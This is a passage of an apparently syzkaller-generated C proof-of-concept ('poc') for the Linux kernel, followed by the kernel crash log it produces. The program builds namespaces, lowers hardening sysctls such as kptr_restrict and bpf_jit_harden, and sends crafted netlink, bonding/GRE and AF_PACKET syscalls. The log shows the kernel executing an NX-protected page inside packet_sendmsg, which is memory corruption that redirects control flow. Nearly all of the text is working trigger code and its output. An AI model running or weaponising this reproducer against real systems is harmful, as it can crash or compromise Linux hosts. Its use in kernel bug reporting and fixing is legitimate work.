      {"/proc/sys/kernel/shmmni", "1024"},
      {"/proc/sys/kernel/msgmax", "8192"},
      {"/proc/sys/kernel/msgmni", "1024"},
      {"/proc/sys/kernel/msgmnb", "1024"},
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid)
{
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static void drop_caps(void)
{
  struct __user_cap_header_struct cap_hdr = {};
  struct __user_cap_data_struct cap_data[2] = {};
  cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
  cap_hdr.pid = getpid();
  if (syscall(SYS_capget, &cap_hdr, &cap_data))
    exit(1);
  const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
  cap_data[0].effective &= ~drop;
  cap_data[0].permitted &= ~drop;
  cap_data[0].inheritable &= ~drop;
  if (syscall(SYS_capset, &cap_hdr, &cap_data))
    exit(1);
}

static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];

static int namespace_sandbox_proc(void* arg)
{
  sandbox_common();
  write_file("/proc/self/setgroups", "deny");
  if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
    exit(1);
  if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
    exit(1);
  if (unshare(CLONE_NEWNET))
    exit(1);
  write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535");
  initialize_tun();
  sandbox_common_mount_tmpfs();
  drop_caps();
  loop();
  exit(1);
}

static int do_sandbox_namespace(void)
{
  real_uid = getuid();
  real_gid = getgid();
  mprotect(sandbox_stack, 4096, PROT_NONE);
  int pid =
      clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
            CLONE_NEWUSER | CLONE_NEWPID, 0);
  return wait_for_loop(pid);
}

#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
  int iter = 0;
  DIR* dp = 0;
  const int umount_flags = MNT_FORCE | UMOUNT_NOFOLLOW;

retry:
  while (umount2(dir, umount_flags) == 0) {
  }
  dp = opendir(dir);
  if (dp == NULL) {
    if (errno == EMFILE) {
      exit(1);
    }
    exit(1);
  }
  struct dirent* ep = 0;
  while ((ep = readdir(dp))) {
    if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
      continue;
    char filename[FILENAME_MAX];
    snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
    while (umount2(filename, umount_flags) == 0) {
    }
    struct stat st;
    if (lstat(filename, &st))
      exit(1);
    if (S_ISDIR(st.st_mode)) {
      remove_dir(filename);
      continue;
    }
    int i;
    for (i = 0;; i++) {
      if (unlink(filename) == 0)
        break;
      if (errno == EPERM) {
        int fd = open(filename, O_RDONLY);
        if (fd != -1) {
          long flags = 0;
          if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
          }
          close(fd);
          continue;
        }
      }
      if (errno == EROFS) {
        break;
      }
      if (errno != EBUSY || i > 100)
        exit(1);
      if (umount2(filename, umount_flags))
        exit(1);
    }
  }
  closedir(dp);
  for (int i = 0;; i++) {
    if (rmdir(dir) == 0)
      break;
    if (i < 100) {
      if (errno == EPERM) {
        int fd = open(dir, O_RDONLY);
        if (fd != -1) {
          long flags = 0;
          if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
          }
          close(fd);
          continue;
        }
      }
      if (errno == EROFS) {
        break;
      }
      if (errno == EBUSY) {
        if (umount2(dir, umount_flags))
          exit(1);
        continue;
      }
      if (errno == ENOTEMPTY) {
        if (iter < 100) {
          iter++;
          goto retry;
        }
      }
    }
    exit(1);
  }
}

static void kill_and_wait(int pid, int* status)
{
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR* dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent* ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void setup_loop()
{
  setup_cgroups_loop();
}

static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  setup_cgroups_test();
  write_file("/proc/self/oom_score_adj", "1000");
  flush_tun();
  if (symlink("/dev/binderfs", "./binderfs")) {
  }
}

static void close_fds()
{
  for (int fd = 3; fd < MAX_FDS; fd++)
    close(fd);
}

static void setup_sysctl()
{
  int cad_pid = fork();
  if (cad_pid < 0)
    exit(1);
  if (cad_pid == 0) {
    for (;;)
      sleep(100);
  }
  char tmppid[32];
  snprintf(tmppid, sizeof(tmppid), "%d", cad_pid);
  struct {
    const char* name;
    const char* data;
  } files[] = {
      {"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"},
      {"/proc/sys/kernel/hung_task_check_interval_secs", "20"},
      {"/proc/sys/net/core/bpf_jit_kallsyms", "1"},
      {"/proc/sys/net/core/bpf_jit_harden", "0"},
      {"/proc/sys/kernel/kptr_restrict", "0"},
      {"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"},
      {"/proc/sys/fs/mount-max", "100"},
      {"/proc/sys/vm/oom_dump_tasks", "0"},
      {"/proc/sys/debug/exception-trace", "0"},
      {"/proc/sys/kernel/printk", "7 4 1 3"},
      {"/proc/sys/kernel/keys/gc_delay", "1"},
      {"/proc/sys/vm/oom_kill_allocating_task", "1"},
      {"/proc/sys/kernel/ctrl-alt-del", "0"},
      {"/proc/sys/kernel/cad_pid", tmppid},
  };
  for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) {
    if (!write_file(files[i].name, files[i].data)) {
    }
  }
  kill(cad_pid, SIGKILL);
  while (waitpid(cad_pid, NULL, 0) != cad_pid)
    ;
}

struct thread_t {
  int created, call;
  event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    event_wait(&th->ready);
    event_reset(&th->ready);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->done);
  }
  return 0;
}

static void execute_one(void)
{
  if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
  }
  int i, call, thread;
  for (call = 0; call < 21; call++) {
    for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
         thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        event_init(&th->ready);
        event_init(&th->done);
        event_set(&th->done);
        thread_start(thr, th);
      }
      if (!event_isset(&th->done))
        continue;
      event_reset(&th->done);
      th->call = call;
      __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
      event_set(&th->ready);
      event_timedwait(&th->done, 50);
      break;
    }
  }
  for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
    sleep_ms(1);
  close_fds();
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
  setup_loop();
  int iter = 0;
  for (; iter < 3; iter++) {
    char cwdbuf[32];
    sprintf(cwdbuf, "./%d", iter);
    if (mkdir(cwdbuf, 0777))
      exit(1);
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      if (chdir(cwdbuf))
        exit(1);
      setup_test();
      execute_one();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      sleep_ms(10);
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
    remove_dir(cwdbuf);
  }
}

uint64_t r[9] = {0xffffffffffffffff, 0xffffffffffffffff,
                 0xffffffffffffffff, 0xffffffffffffffff,
                 0xffffffffffffffff, 0x0,
                 0xffffffffffffffff, 0x0,
                 0xffffffffffffffff};

void execute_call(int call)
{
  intptr_t res = 0;
  switch (call) {
  case 0:
    NONFAILING(*(uint64_t*)0x20000080 = 0);
    NONFAILING(*(uint32_t*)0x20000088 = 0x11);
    NONFAILING(*(uint32_t*)0x2000008c = 0);
    NONFAILING(*(uint64_t*)0x20000090 = 0);
    NONFAILING(*(uint64_t*)0x20000098 = 0);
    syscall(__NR_timer_create, /*id=*/0ul, /*ev=*/0x20000080ul,
            /*timerid=*/0x20000000ul);
    break;
  case 1:
    res = syscall(__NR_socket, /*domain=*/2ul, /*type=SOCK_DGRAM*/ 2ul,
                  /*proto=*/0);
    if (res != -1)
      r[0] = res;
    break;
  case 2:
    res = syscall(__NR_socket,
                  /*domain=AF_PACKET|0x200000000000000*/ 0x200000000000011ul,
                  /*type=SOCK_CLOEXEC|SOCK_DGRAM|0x4000000000000000*/
                  0x4000000000080002ul, /*proto=*/0);
    if (res != -1)
      r[1] = res;
    break;
  case 3:
    res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
    if (res != -1)
      r[2] = res;
    break;
  case 4:
    res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
    if (res != -1)
      r[3] = res;
    break;
  case 5:
    res = syscall(__NR_socket, /*domain=AF_NETLINK*/ 0x10ul,
                  /*type=SOCK_NONBLOCK|SOCK_RAW*/ 0x803ul, /*proto=*/0);
    if (res != -1)
      r[4] = res;
    break;
  case 6:
    NONFAILING(*(uint64_t*)0x20000580 = 0);
    NONFAILING(*(uint32_t*)0x20000588 = 0);
    NONFAILING(*(uint64_t*)0x20000590 = 0x20000540);
    NONFAILING(*(uint64_t*)0x20000540 = 0);
    NONFAILING(*(uint64_t*)0x20000548 = 0x1c);
    NONFAILING(*(uint64_t*)0x20000598 = 1);
    NONFAILING(*(uint64_t*)0x200005a0 = 0);
    NONFAILING(*(uint64_t*)0x200005a8 = 0);
    NONFAILING(*(uint32_t*)0x200005b0 = 0);
    syscall(__NR_sendmsg, /*fd=*/r[4], /*msg=*/0x20000580ul, /*f=*/0ul);
    break;
  case 7:
    NONFAILING(*(uint32_t*)0x20000080 = 0x14);
    res = syscall(__NR_getsockname, /*fd=*/r[4], /*addr=*/0x20000600ul,
                  /*addrlen=*/0x20000080ul);
    if (res != -1)
      NONFAILING(r[5] = *(uint32_t*)0x20000604);
    break;
  case 8:
    res = syscall(__NR_socket, /*domain=*/1ul, /*type=SOCK_DGRAM*/ 2ul,
                  /*proto=*/0);
    if (res != -1)
      r[6] = res;
    break;
  case 9:
    NONFAILING(*(uint32_t*)0x20000040 = 0xc);
    res = syscall(__NR_getsockopt, /*fd=*/r[6], /*level=*/1, /*optname=*/0x11,
                  /*optval=*/0x20caaffbul, /*optlen=*/0x20000040ul);
    if (res != -1)
      NONFAILING(r[7] = *(uint32_t*)0x20caafff);
    break;
  case 10:
    syscall(__NR_setresuid, /*ruid=*/0, /*euid=*/r[7], /*suid=*/r[7]);
    break;
  case 11:
    NONFAILING(*(uint8_t*)0x20000640 = 0xfe);
    NONFAILING(*(uint8_t*)0x20000641 = 0x80);
    NONFAILING(memset((void*)0x20000642, 0, 13));
    NONFAILING(*(uint8_t*)0x2000064f = 0x3a);
    NONFAILING(*(uint8_t*)0x20000650 = 0xac);
    NONFAILING(*(uint8_t*)0x20000651 = 0x1e);
    NONFAILING(*(uint8_t*)0x20000652 = 1);
    NONFAILING(*(uint8_t*)0x20000653 = 1);
    NONFAILING(*(uint16_t*)0x20000660 = htobe16(0x4e21));
    NONFAILING(*(uint16_t*)0x20000662 = htobe16(0xc2));
    NONFAILING(*(uint16_t*)0x20000664 = htobe16(0x4e21));
    NONFAILING(*(uint16_t*)0x20000666 = htobe16(2));
    NONFAILING(*(uint16_t*)0x20000668 = 2);
    NONFAILING(*(uint8_t*)0x2000066a = 0x30);
    NONFAILING(*(uint8_t*)0x2000066b = 0);
    NONFAILING(*(uint8_t*)0x2000066c = 0x3a);
    NONFAILING(*(uint32_t*)0x20000670 = r[5]);
    NONFAILING(*(uint32_t*)0x20000674 = r[7]);
    NONFAILING(*(uint64_t*)0x20000678 = 6);
    NONFAILING(*(uint64_t*)0x20000680 = 5);
    NONFAILING(*(uint64_t*)0x20000688 = 1);
    NONFAILING(*(uint64_t*)0x20000690 = 0xd4);
    NONFAILING(*(uint64_t*)0x20000698 = 0xe000000000);
    NONFAILING(*(uint64_t*)0x200006a0 = 6);
    NONFAILING(*(uint64_t*)0x200006a8 = 0x6eaf);
    NONFAILING(*(uint64_t*)0x200006b0 = 0x81);
    NONFAILING(*(uint64_t*)0x200006b8 = 0xcd);
    NONFAILING(*(uint64_t*)0x200006c0 = 0xee);
    NONFAILING(*(uint64_t*)0x200006c8 = 0x800);
    NONFAILING(*(uint64_t*)0x200006d0 = 5);
    NONFAILING(*(uint32_t*)0x200006d8 = 4);
    NONFAILING(*(uint32_t*)0x200006dc = 0x6e6bb6);
    NONFAILING(*(uint8_t*)0x200006e0 = 1);
    NONFAILING(*(uint8_t*)0x200006e1 = 0);
    NONFAILING(*(uint8_t*)0x200006e2 = 0);
    NONFAILING(*(uint8_t*)0x200006e3 = 0);
    NONFAILING(*(uint8_t*)0x200006e8 = 0xac);
    NONFAILING(*(uint8_t*)0x200006e9 = 0x14);
    NONFAILING(*(uint8_t*)0x200006ea = 0x14);
    NONFAILING(*(uint8_t*)0x200006eb = 0x14);
    NONFAILING(*(uint32_t*)0x200006f8 = htobe32(0x4d3));
    NONFAILING(*(uint8_t*)0x200006fc = 0x6c);
    NONFAILING(*(uint16_t*)0x20000700 = 8);
    NONFAILING(*(uint8_t*)0x20000704 = -1);
    NONFAILING(*(uint8_t*)0x20000705 = 1);
    NONFAILING(memset((void*)0x20000706, 0, 13));
    NONFAILING(*(uint8_t*)0x20000713 = 1);
    NONFAILING(*(uint32_t*)0x20000714 = 0x3504);
    NONFAILING(*(uint8_t*)0x20000718 = 0);
    NONFAILING(*(uint8_t*)0x20000719 = 0);
    NONFAILING(*(uint8_t*)0x2000071a = 0x80);
    NONFAILING(*(uint32_t*)0x2000071c = 3);
    NONFAILING(*(uint32_t*)0x20000720 = 4);
    NONFAILING(*(uint32_t*)0x20000724 = 0);
    syscall(__NR_setsockopt, /*fd=*/r[0], /*level=*/0, /*optname=*/0x11,
            /*optval=*/0x20000640ul, /*optlen=*/0xe8ul);
    break;
  case 12:
    NONFAILING(*(uint64_t*)0x20000040 = 0);
    NONFAILING(*(uint32_t*)0x20000048 = 0);
    NONFAILING(*(uint64_t*)0x20000050 = 0x20000000);
    NONFAILING(*(uint64_t*)0x20000000 = 0x20000340);
    NONFAILING(memcpy((void*)0x20000340,
                      "\x3c\x00\x00\x00\x10\x00\x85\x06\x00\x00\x20\x00\xfe\x61"
                      "\x22\x33\xca\x00\x08\x00",
                      20));
    NONFAILING(*(uint32_t*)0x20000354 = r[5]);
    NONFAILING(memcpy(
        (void*)0x20000358,
        "\x23\x77\xf2\x9e\x25\x21\x55\xb2\x1c\x00\x12\x00\x0c\x00\x01\x00\x62"
        "\x6f\x6e\x64\x00\x00\x00\x00\x0c\x00\x02\x00\x08\x00\x01\x00\x01\x34"
        "\xe7\x30\x70\x75\xa7\xcc\x6d\x2d\xba\x6e\x4d\xce\x25\xf1\x89\x68\xdd"
        "\x3d\x6f\x77\x19\x9c\xd0\x6d\x7a\x4c\xfc\xdc\x99\xdc\xfd\x5e\xc3\xf3"
        "\xe3\xd9\x8b\xe8\xa8\xba\xc2\xdc\xc4\x14\xb5\x8d\xda\x48\xb3\xea\x35"
        "\x41\x1d\x5b\x11\x2c\x26\xf3\x1b\x35\x29\x82\xf5\x5b\xe4\x46\xb3\xdd"
        "\x47\xe4\x35\x95\x42\x52\x21\x38\x28\xba\x98\xa1\xbc\x36\x32\x78\xf8"
        "\xbd\x13\xad\x74\x6b\xb8\xed\xad\x61\x91\x62\xf5\xd1\x89\x2e\x9f\xa4"
        "\x2e\x4f\xe2\xb6\x0f\x5f\xe2\xbb\x96\x3f\x08\xd6\x69\x68\x20\xad\xe9"
        "\xcf\xf2\xb2\xde\xb9\x1c\xe5\x65\x71\x68\xa9\x0d\xc5\x23\x0e\x33\xb8"
        "\xc2\x6c\xd9\x25\xc3\x13\x66\xa2\xae\x33\x9f\x12\xba\x89\x66\xbe\x14"
        "\x39\xce\xc6\x35\xb0\x8c\x0a\x97\x49\x0b\x13\x3a\x5b\x73\x60\xb5\x93"
        "\x47\x83\x3f\xc9\x5a\x7b\xf3\xdc\x9b\xc6\x47\x41\xde\x1a\x6e\x83\xc9"
        "\xbd\xfd\xfd\x0b\xaa\xbe\xc9\x81\x09\x9b\xb3\xdb\xd6\x4a\x7e\x79\x79"
        "\xcf\xb7\x93\x5a\xff\xbc\xda\x49\x19\x0b\x7e\xc9\xbc\x1e\x89\xd6\xcc"
        "\xed\xec\x20\xf9\x1b\x57\x1e\x6f\xc0\x49\xba\x82\x82\x1b\x26\xca\x4f"
        "\x85\xf4\xb0\x3f\x70\xb1\x76\xb4\x3d\xe9\x15\xbe\xc7\x6e\x40\x5b\xce"
        "\x49\xa4\xb4\x6e\xc7\x45\xb5\x1f\x36\x28\x29\x16\xb7\x7d\x7f\x91\x3a"
        "\x6a\xfd\x68\x13\xdf\x2c",
        312));
    NONFAILING(*(uint64_t*)0x20000008 = 0x3c);
    NONFAILING(*(uint64_t*)0x20000058 = 1);
    NONFAILING(*(uint64_t*)0x20000060 = 0);
    NONFAILING(*(uint64_t*)0x20000068 = 0);
    NONFAILING(*(uint32_t*)0x20000070 = 0);
    syscall(__NR_sendmsg, /*fd=*/r[3], /*msg=*/0x20000040ul, /*f=*/0ul);
    break;
  case 13:
    NONFAILING(*(uint64_t*)0x20000240 = 0);
    NONFAILING(*(uint32_t*)0x20000248 = 0);
    NONFAILING(*(uint64_t*)0x20000250 = 0x20000180);
    NONFAILING(*(uint64_t*)0x20000180 = 0x20000780);
    NONFAILING(*(uint32_t*)0x20000780 = 0x58);
    NONFAILING(*(uint16_t*)0x20000784 = 0x10);
    NONFAILING(*(uint16_t*)0x20000786 = 0xff1f);
    NONFAILING(*(uint32_t*)0x20000788 = 0);
    NONFAILING(*(uint32_t*)0x2000078c = 0);
    NONFAILING(*(uint8_t*)0x20000790 = 0);
    NONFAILING(*(uint8_t*)0x20000791 = 0);
    NONFAILING(*(uint16_t*)0x20000792 = 0);
    NONFAILING(*(uint32_t*)0x20000794 = 0);
    NONFAILING(*(uint32_t*)0x20000798 = 0x800);
    NONFAILING(*(uint32_t*)0x2000079c = 0);
    NONFAILING(*(uint16_t*)0x200007a0 = 0x28);
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a2, 0x12, 0, 14));
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a3, 0, 6, 1));
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007a3, 1, 7, 1));
    NONFAILING(*(uint16_t*)0x200007a4 = 8);
    NONFAILING(*(uint16_t*)0x200007a6 = 1);
    NONFAILING(memcpy((void*)0x200007a8, "gre\000", 4));
    NONFAILING(*(uint16_t*)0x200007ac = 0x1c);
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007ae, 2, 0, 14));
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007af, 0, 6, 1));
    NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200007af, 1, 7, 1));
    NONFAILING(*(uint16_t*)0x200007b0 = 8);
    NONFAILING(*(uint16_t*)0x200007b2 = 6);
    NONFAILING(*(uint32_t*)0x200007b4 = htobe32(-1));
    NONFAILING(*(uint16_t*)0x200007b8 = 5);
    NONFAILING(*(uint16_t*)0x200007ba = 9);
    NONFAILING(*(uint8_t*)0x200007bc = 8);
    NONFAILING(*(uint16_t*)0x200007c0 = 8);
    NONFAILING(*(uint16_t*)0x200007c2 = 5);
    NONFAILING(*(uint32_t*)0x200007c4 = 8);
    NONFAILING(*(uint16_t*)0x200007c8 = 8);
    NONFAILING(*(uint16_t*)0x200007ca = 0xa);
    NONFAILING(*(uint32_t*)0x200007cc = r[5]);
    NONFAILING(*(uint16_t*)0x200007d0 = 8);
    NONFAILING(*(uint16_t*)0x200007d2 = 0x1b);
    NONFAILING(*(uint32_t*)0x200007d4 = 0x8000);
    NONFAILING(*(uint64_t*)0x20000188 = 0x58);
    NONFAILING(*(uint64_t*)0x20000258 = 1);
    NONFAILING(*(uint64_t*)0x20000260 = 0);
    NONFAILING(*(uint64_t*)0x20000268 = 0);
    NONFAILING(*(uint32_t*)0x20000270 = 0);
    syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x20000240ul,
            /*f=MSG_ZEROCOPY|MSG_NOSIGNAL*/ 0x4004000ul);
    break;
  case 14:
    NONFAILING(*(uint16_t*)0x200000c0 = 0x11);
    NONFAILING(*(uint16_t*)0x200000c2 = htobe16(0));
    NONFAILING(*(uint32_t*)0x200000c4 = r[5]);
    NONFAILING(*(uint16_t*)0x200000c8 = 1);
    NONFAILING(*(uint8_t*)0x200000ca = 0);
    NONFAILING(*(uint8_t*)0x200000cb = 6);
    NONFAILING(memset((void*)0x200000cc, 170, 5));
    NONFAILING(*(uint8_t*)0x200000d1 = 0xbb);
    NONFAILING(memset((void*)0x200000d2, 0, 2));
    syscall(__NR_bind, /*fd=*/r[1], /*addr=*/0x200000c0ul, /*addrlen=*/0x14ul);
    break;
  case 15:
    NONFAILING(*(uint16_t*)0x20000040 = 1);
    NONFAILING(*(uint64_t*)0x20000048 = 0x20000000);
    NONFAILING(*(uint16_t*)0x20000000 = 8);
    NONFAILING(*(uint8_t*)0x20000002 = 0);
    NONFAILING(*(uint8_t*)0x20000003 = 0);
    NONFAILING(*(uint32_t*)0x20000004 = 0x7fff0000);
    syscall(__NR_seccomp, /*op=*/1ul,
            /*flags=SECCOMP_FILTER_FLAG_LOG_LISTENER*/ 0xaul,
            /*arg=*/0x20000040ul);
    break;
  case 16:
    res = syscall(__NR_socket, /*domain=*/2ul, /*type=SOCK_DGRAM*/ 2ul,
                  /*proto=*/0);
    if (res != -1)
      r[8] = res;
    break;
  case 17:
    NONFAILING(*(uint32_t*)0x20000040 = 0x2c);
    syscall(__NR_getsockopt, /*fd=*/r[8], /*level=*/0, /*optname=*/0x53,
            /*optval=*/0x20000000ul, /*optlen=*/0x20000040ul);
    break;
  case 18:
    NONFAILING(*(uint64_t*)0x20000300 = 0);
    NONFAILING(*(uint32_t*)0x20000308 = 0);
    NONFAILING(*(uint64_t*)0x20000310 = 0x200002c0);
    NONFAILING(*(uint64_t*)0x200002c0 = 0);
    NONFAILING(*(uint64_t*)0x200002c8 = 0);
    NONFAILING(*(uint64_t*)0x20000318 = 1);
    NONFAILING(*(uint64_t*)0x20000320 = 0);
    NONFAILING(*(uint64_t*)0x20000328 = 0);
    NONFAILING(*(uint32_t*)0x20000330 = 0);
    syscall(__NR_sendmsg, /*fd=*/r[1], /*msg=*/0x20000300ul, /*f=*/0ul);
    break;
  case 19:
    NONFAILING(*(uint64_t*)0x2006b000 = 0);
    NONFAILING(*(uint64_t*)0x2006b008 = 8);
    NONFAILING(*(uint64_t*)0x2006b010 = 0);
    NONFAILING(*(uint64_t*)0x2006b018 = 9);
    syscall(__NR_timer_settime, /*timerid=*/0, /*flags=*/0ul,
            /*new=*/0x2006b000ul, /*old=*/0ul);
    break;
  case 20:
    syscall(__NR_mlock, /*addr=*/0x20ffb000ul, /*size=*/0x3000ul);
    break;
  }
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  setup_sysctl();
  setup_cgroups();
  const char* reason;
  (void)reason;
  install_segv_handler();
  use_temporary_dir();
  do_sandbox_namespace();
  return 0;
}
```

```c
[    4.038488] netlink: 'poc': attribute type 1 has an invalid length.
[    4.039228] device bond1 entered promiscuous mode
[    4.039575] 8021q: adding VLAN 0 to HW filter on device bond1
[    4.040118] 8021q: adding VLAN 0 to HW filter on device bond1
[    4.040546] bond1: (slave gre1): The slave device specified does not support setting the MAs
[    4.041419] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode
[    4.042151] bond1: (slave gre1): making interface the new active one
[    4.042664] device gre1 entered promiscuous mode
[    4.043065] bond1: (slave gre1): Enslaving as an active interface with an up link
[    4.043676] IPv6: ADDRCONF(NETDEV_CHANGE): bond1: link becomes ready
[    4.044309] kernel tried to execute NX-protected page - exploit attempt? (uid: 0)
[    4.044886] BUG: unable to handle page fault for address: ffff888100000001
[    4.045445] #PF: supervisor instruction fetch in kernel mode
[    4.045953] #PF: error_code(0x0011) - permissions violation
[    4.046362] PGD 4801067 P4D 4801067 PUD 4804067 PMD 80000001000001e3
[    4.046929] Oops: 0011 [#1] PREEMPT SMP NOPTI
[    4.047321] CPU: 0 PID: 220 Comm: poc Not tainted 6.1.112+ #1
[    4.047852] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/014
[    4.048683] RIP: 0010:0xffff888100000001
[    4.049046] Code: Unable to access opcode bytes at 0xffff8880ffffffd7.
[    4.049634] RSP: 0018:ffffc9000063b7f0 EFLAGS: 00010246
[    4.050121] RAX: ffff888100000001 RBX: 0000000000000010 RCX: 0000000000000003
[    4.050768] RDX: 0000000000000001 RSI: ffff88810600fce0 RDI: ffff8881061a5000
[    4.051481] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[    4.052038] R10: 00007ffffffff000 R11: 000000007ffff000 R12: ffff88810600fcc0
[    4.052606] R13: ffff8881061a5000 R14: ffff888104e5f000 R15: 0000000000000000
[    4.053171] FS:  00000000336cf480(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[    4.053784] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.054230] CR2: ffff8880ffffffd7 CR3: 0000000105ba8003 CR4: 0000000000370ef0
[    4.054813] Call Trace:
[    4.055028]  <TASK>
[    4.055210]  ? __die+0x1f/0x70
[    4.055497]  ? page_fault_oops+0x17d/0x4b0
[    4.055928]  ? exc_page_fault+0x90/0x160
[    4.056331]  ? asm_exc_page_fault+0x22/0x30
[    4.056766]  ? skb_release_data+0x8e/0x180
[    4.057186]  ? kfree_skb_reason+0x46/0xd0
[    4.057587]  ? packet_sendmsg+0xa05/0x17a0
[    4.058008]  ? update_load_avg+0x77/0x710
[    4.058452]  ? __check_object_size+0x44/0x2c0
[    4.058724]  ? __sock_sendmsg+0x5c/0x70
[    4.058977]  ? ____sys_sendmsg+0x262/0x2a0
[    4.059221]  ? copy_msghdr_from_user+0x7d/0xc0
[    4.059523]  ? ___sys_sendmsg+0x9a/0xe0
[    4.059813]  ? __sys_sendmsg+0x76/0xc0
[    4.060144]  ? do_syscall_64+0x5e/0x90
[    4.060454]  ? __alloc_pages+0x192/0x380
[    4.060770]  ? preempt_count_add+0x47/0xa0
[    4.061134]  ? __vmap_pages_range_noflush+0x195/0x5a0
[    4.061565]  ? __vmalloc_node_range+0x4c8/0x910
[    4.061937]  ? free_unref_page_commit+0x76/0x170
[    4.062347]  ? _raw_spin_unlock+0x15/0x30
[    4.062717]  ? free_unref_page+0x191/0x1f0
[    4.063031]  ? __vunmap+0x2d8/0x330
[    4.063328]  ? ip_set_sockfn_get+0xee/0x2d0
[    4.063739]  ? _raw_spin_unlock+0x15/0x30
[    4.064087]  ? nf_getsockopt+0x52/0x80
[    4.064426]  ? ip_getsockopt+0x8f/0xc0
[    4.064763]  ? exit_to_user_mode_prepare+0x1a/0x150
[    4.065194]  ? syscall_exit_to_user_mode+0x27/0x40
[    4.065622]  ? __x64_sys_getsockopt+0x1b/0x30
[    4.066007]  ? do_syscall_64+0x6a/0x90
[    4.066325]  ? syscall_exit_to_user_mode+0x27/0x40
[    4.066733]  ? clear_bhb_loop+0x15/0x70
[    4.067042]  ? clear_bhb_loop+0x15/0x70
[    4.067352]  ? clear_bhb_loop+0x15/0x70
[    4.067665]  ? clear_bhb_loop+0x15/0x70
[    4.067988]  ? clear_bhb_loop+0x15/0x70
[    4.068301]  ? entry_SYSCALL_64_after_hwframe+0x6e/0xd8
[    4.068746]  </TASK>
[    4.068945] Modules linked in:
[    4.069189] CR2: ffff888100000001
[    4.069501] ---[ end trace 0000000000000000 ]---
[    4.069874] RIP: 0010:0xffff888100000001
[    4.070208] Code: Unable to access opcode bytes at 0xffff8880ffffffd7.
[    4.070801] RSP: 0018:ffffc9000063b7f0 EFLAGS: 00010246
